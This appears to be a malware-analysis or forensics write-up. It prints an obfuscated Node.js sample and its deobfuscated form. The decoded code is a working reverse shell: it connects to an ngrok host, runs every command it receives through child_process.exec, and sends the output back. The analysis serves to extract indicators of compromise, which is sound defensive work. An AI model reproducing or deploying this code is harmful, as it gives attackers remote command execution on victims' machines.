The obfuscation process has been mentioned in Analyze artifacts to extract IOCs, it was using repetition strings to obfuscate the actual command lines.
Given the following obfuscated JavaScript codes:
const _0x3390bc = _0x423e
function _0x3e52() {
const _0x14a95e = [
"process",
"ess",
"log",
"bGkyQ",
"child_proc",
"433068GAVVdC",
"KKJsC",
"3558228jqdABL",
"join",
"tCzjG",
"writeFile",
"5861450KWrzJd",
"net",
"6.tcp.eu.n",
"existsSync",
"8mEVbLY",
".lock",
"33671lcKKCQ",
"write",
"homedir",
"7608789yiXVDm",
"connect",
"Socket",
"exec",
"close",
"7500TuJOnk",
"AZCnT",
"4640KgvouZ",
"1240CscGNm",
"817948FedAcv",
"10yrCwwl",
"grok.io",
"path",
"mdIHn",
"closed",
"qZNxq",
"data",
"error",
"toString",
]
_0x3e52 = function () {
return _0x14a95e
}
return _0x3e52()
}
function _0x423e(_0x32668a, _0x544365) {
const _0x3281b0 = _0x3e52()
return (
(_0x423e = function (_0x44145a, _0x1452d8) {
_0x44145a = _0x44145a - (0x29 * 0x45 + -0xef7 * 0x2 + 0x13ed)
let _0x33b85d = _0x3281b0[_0x44145a]
return _0x33b85d
}),
_0x423e(_0x32668a, _0x544365)
)
}
;(function (_0x1376e4, _0x462510) {
const _0x59e326 = _0x423e,
_0x5ade35 = _0x1376e4()
while (!![]) {
try {
const _0x3df722 =
-parseInt(_0x59e326(0x11d)) / (-0x8d8 + -0x91 * 0x13 + -0x3ec * -0x5) +
-parseInt(_0x59e326(0x12c)) / (0x14b6 + 0x769 * 0x5 + -0x39c1) +
(-parseInt(_0x59e326(0x119)) / (0x5 * 0x6c2 + -0x3 * -0x679 + 0x16 * -0x26b)) *
(parseInt(_0x59e326(0x11c)) / (-0x1d0 * 0x1 + -0x1 * 0x30 + 0x204)) +
(-parseInt(_0x59e326(0x11e)) / (-0x3d3 + 0x1 * 0x1e3e + 0x3e * -0x6d)) *
(-parseInt(_0x59e326(0x12e)) / (0x23fa + -0x10fd + 0x1 * -0x12f7)) +
(-parseInt(_0x59e326(0x132)) / (0xae3 * -0x2 + 0x1d00 + -0x733)) *
(-parseInt(_0x59e326(0x10f)) / (0x24a7 * -0x1 + -0x4a0 * -0x8 + -0x1 * 0x51)) +
-parseInt(_0x59e326(0x114)) / (-0x26a4 + 0x15cc + 0x95 * 0x1d) +
(parseInt(_0x59e326(0x11b)) / (-0x2 * -0x9d1 + -0x15d8 + -0x18 * -0x18)) *
(parseInt(_0x59e326(0x111)) / (-0x1 * 0x1efd + 0x1 * 0x2565 + -0x65d))
if (_0x3df722 === _0x462510) break
else _0x5ade35["push"](_0x5ade35["shift"]())
} catch (_0x16859e) {
_0x5ade35["push"](_0x5ade35["shift"]())
}
}
})(_0x3e52, 0x1505f9 + -0x7c7ee + -0x134b0)
const fs = require("fs"),
net = require(_0x3390bc(0x10c)),
path = require(_0x3390bc(0x120)),
os = require("os"),
{ pid } = require(_0x3390bc(0x127)),
lockFilePath = path[_0x3390bc(0x12f)](os[_0x3390bc(0x113)](), "." + pid + _0x3390bc(0x110))
!fs[_0x3390bc(0x10e)](lockFilePath) &&
(fs[_0x3390bc(0x131)](lockFilePath, "", (_0x2452ba) => {
const _0x1288f9 = _0x3390bc
_0x2452ba && console[_0x1288f9(0x125)](_0x2452ba)
}),
(function () {
const _0x3888c3 = _0x3390bc,
_0x3a2b7d = {
tCzjG: function (_0xc37733, _0x5552a9) {
return _0xc37733(_0x5552a9)
},
mdIHn: _0x3888c3(0x12b) + _0x3888c3(0x128),
qZNxq: _0x3888c3(0x122),
KKJsC: _0x3888c3(0x10d) + _0x3888c3(0x11f),
bGkyQ: _0x3888c3(0x124),
AZCnT: _0x3888c3(0x118),
},
_0x3db126 = new net[_0x3888c3(0x116)]()
return (
_0x3db126[_0x3888c3(0x115)](0x1fd * -0xb + -0x11d5 + 0x687f, _0x3a2b7d[_0x3888c3(0x12d)]),
_0x3db126["on"](_0x3a2b7d[_0x3888c3(0x12a)], (_0xd34d07) => {
const _0x70cc2e = _0x3888c3,
_0x45fcf2 = _0xd34d07[_0x70cc2e(0x126)]()
_0x3a2b7d[_0x70cc2e(0x130)](require, _0x3a2b7d[_0x70cc2e(0x121)])[_0x70cc2e(0x117)](
_0x45fcf2,
(_0x460220, _0x254585, _0x3aa38b) => {
const _0x222d46 = _0x70cc2e
_0x460220
? _0x3db126[_0x222d46(0x112)](_0x3aa38b)
: _0x3db126[_0x222d46(0x112)](_0x254585)
},
)
}),
_0x3db126["on"](_0x3a2b7d[_0x3888c3(0x11a)], () => {
const _0x2d9eb3 = _0x3888c3
console[_0x2d9eb3(0x129)](_0x3a2b7d[_0x2d9eb3(0x123)])
}),
/a/
)
})())Quite gibberish and non-sense, but there are some readable strings. This hinted me that this code can be deobfuscate. I have tried a couple different tools, but only this one seems to give me the best result Obfuscator.io Deobfuscator. Here is the deobfuscated codes:
const fs = require("fs")
const net = require("net")
const path = require("path")
const os = require("os")
const { pid } = require("process")
const lockFilePath = path.join(os.homedir(), "." + pid + ".lock")
if (!fs.existsSync(lockFilePath)) {
fs.writeFile(lockFilePath, "", (_0x2452ba) => {
if (_0x2452ba) {
console.error(_0x2452ba)
}
})
;(function () {
const _0x3db126 = new net.Socket()
_0x3db126.connect(16587, "6.tcp.eu.ngrok.io")
_0x3db126.on("data", (_0xd34d07) => {
const _0x45fcf2 = _0xd34d07.toString()
require("child_process").exec(_0x45fcf2, (_0x460220, _0x254585, _0x3aa38b) => {
if (_0x460220) {
_0x3db126.write(_0x3aa38b)
} else {
_0x3db126.write(_0x254585)
}
})
})
_0x3db126.on("close", () => {
console.log("closed")
})
return /a/
})()
}